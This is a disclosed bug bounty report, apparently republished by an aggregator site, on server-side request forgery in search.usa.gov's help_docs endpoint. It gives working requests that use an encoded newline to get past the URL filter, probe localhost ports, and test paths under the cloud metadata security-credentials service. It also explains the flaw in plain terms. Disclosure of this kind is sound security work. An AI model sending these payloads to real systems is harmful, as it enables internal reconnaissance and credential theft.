Skip to content
SSRF Disclosed report Intermediate

SSRF in Search.gov via ?url= parameter

The help_docs endpoint on search.usa.gov fetched a URL supplied in the url parameter, and a newline character in that value bypassed the protection meant to restrict it. An attacker could use this to probe internal hosts and ports, including the cloud metadata service, and infer which ones exist from response timing and body content.

niwasaki Follow

Originally disclosed on HackerOne

Bounty$150 Low 3.8 View original
  • Triaged in 10 days
  • Fixed in 5 months
  • Paid in 37 days
  • Disclosed after 5 months

Summary:

https://search.usa.gov/help_docs endpoint is vulnerable to SSRF via url parameter. The parameter is protected but can be bypassed using LF (%0A).

Steps To Reproduce:

  1. Login to Search.gov and click help manual.
  2. The following request was vulnerable.
  • Request

    GET /help_docs?url=https%3A%2F%2Fsearch.gov%2Fmanual%2Faccount.html HTTP/1.1
    Host: search.usa.gov
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: ja,en-US;q=0.7,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    Referer: https://search.usa.gov/account
    X-NewRelic-ID: VgYAV1BRCxABU1JUBAUCXlI=
    X-CSRF-Token: /2jDOc6aYEZA5VealIrF44qJZtY0iDiTsALu8HYA+OOIewuKHREwyh6M0wGa2WC9amTPX4vPMjj0YQIjys3nNA==
    X-Requested-With: XMLHttpRequest
    Connection: close
    Cookie: _ga=GA1.2.924676610.1553290937; _gid=GA1.2.1047460386.1553290937; _ga=GA1.3.924676610.1553290937; _gid=GA1.3.1047460386.1553290937; _session_id=a0d5ecbfa9404ea9ffad4cb3ea771dea; user_credentials=1055608db95b714d9ae2ef05a4e1b83aa138ad5fca67422f02ca795ec2a74179bb15c610dd33f5e6f200be0de0e812a8fe3d59a0027b290b5377ab2a65da1f19%3A%3A5992
    
  1. If you insert http://127.0.0.1:21/?%0A before url parameter and send request, then response time is about 450ms. (Port is closed)
  • Request

    GET /help_docs?url=http://127.0.0.1:21/?%0Ahttps%3A%2F%2Fsearch.gov%2Fmanual%2Faccount.html HTTP/1.1
    (snip)
    
  • Response

    HTTP/1.1 200 OK
    (snip)
    {"body":"<div class='alert alert-error'>Unable to retrieve <a href='http://127.0.0.1:21/?\nhttps://search.gov/manual/account.html'>http://127.0.0.1:21/?\nhttps://search.gov/manual/account.html</a>.</div>"}
    
  1. If you insert http://127.0.0.1:22/?%0A before url parameter and send request, then response time is about 10,468ms. (Port is open)
  • Request

    GET /help_docs?url=http://127.0.0.1:22/?%0Ahttps%3A%2F%2Fsearch.gov%2Fmanual%2Faccount.html HTTP/1.1
    (snip)
    
  • Response

    HTTP/1.1 200 OK
    (snip)
    {"body":"<div class='alert alert-error'>Unable to retrieve <a href='http://127.0.0.1:22/?\nhttps://search.gov/manual/account.html'>http://127.0.0.1:22/?\nhttps://search.gov/manual/account.html</a>.</div>"}
    
  1. If you insert http://169.254.169.254/latest/meta-data/iam/security-credentials/?%0A before url parameter, then response body is empty. (/security-credentials exists)
  • Request

    GET /help_docs?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/?%0Ahttps%3A%2F%2Fsearch.gov%2Fmanual%2Faccount.html HTTP/1.1
    (snip)
    
  • Response

    HTTP/1.1 200 OK
    (snip)
    {"body":""}
    
  1. If you insert http://169.254.169.254/latest/meta-data/iam/security-credentialx/?%0A before url parameter, then response body is Unable to retrieve error. (/security-credentialx does not exists)
  • Request

    GET /help_docs?url=http://169.254.169.254/latest/meta-data/iam/security-credentialx/?%0Ahttps%3A%2F%2Fsearch.gov%2Fmanual%2Faccount.html HTTP/1.1
    (snip)
    
  • Response

    HTTP/1.1 200 OK
    (snip)
    {"body":"<div class='alert alert-error'>Unable to retrieve <a href='http://169.254.169.254/latest/meta-data/iam/security-credentialx/?\nhttps://search.gov/manual/account.html'>http://169.254.169.254/latest/meta-data/iam/security-credentialx/?\nhttps://search.gov/manual/account.html</a>.</div>"}
    

Impact

Attacker can scan your local network, finding internal port, and internal web applications. This may help with mapping what the infrastructure looks like and can help plan exploiting other vulnerabilities.

The original report as published on HackerOne, by niwasaki. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the URL allow-list or validation was applied to only part of the input, so a newline character split the value and the server fetched the attacker-chosen internal address instead.

Impact

An attacker could scan the internal network to find open ports and internal web applications, which may help map the infrastructure and plan further attacks; the report does not show credentials being read from the metadata service.

What the attacker needed

A Search.gov account; ability to send crafted requests

How it was found

  1. Log in to Search.gov and open the help manual page.
  2. Send a request to the help_docs endpoint with a normal url value.
  3. Prepend an internal address with a closed port, separated by an encoded newline, and note the short response time.
  4. Repeat with an internal address on an open port and note the much longer response time.
  5. Request a cloud metadata path that exists and observe an empty body.
  6. Request a similar metadata path that does not exist and observe the retrieval error instead.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The site had a feature that fetched a web page for you when you gave it a link. The check that was supposed to stop it fetching internal addresses could be slipped past by putting a line-break character in the link. That let the attacker make the server talk to machines on its own private network, which outsiders normally cannot reach.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More by niwasaki

View all

1 more disclosed report, best first.

More from GSA Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.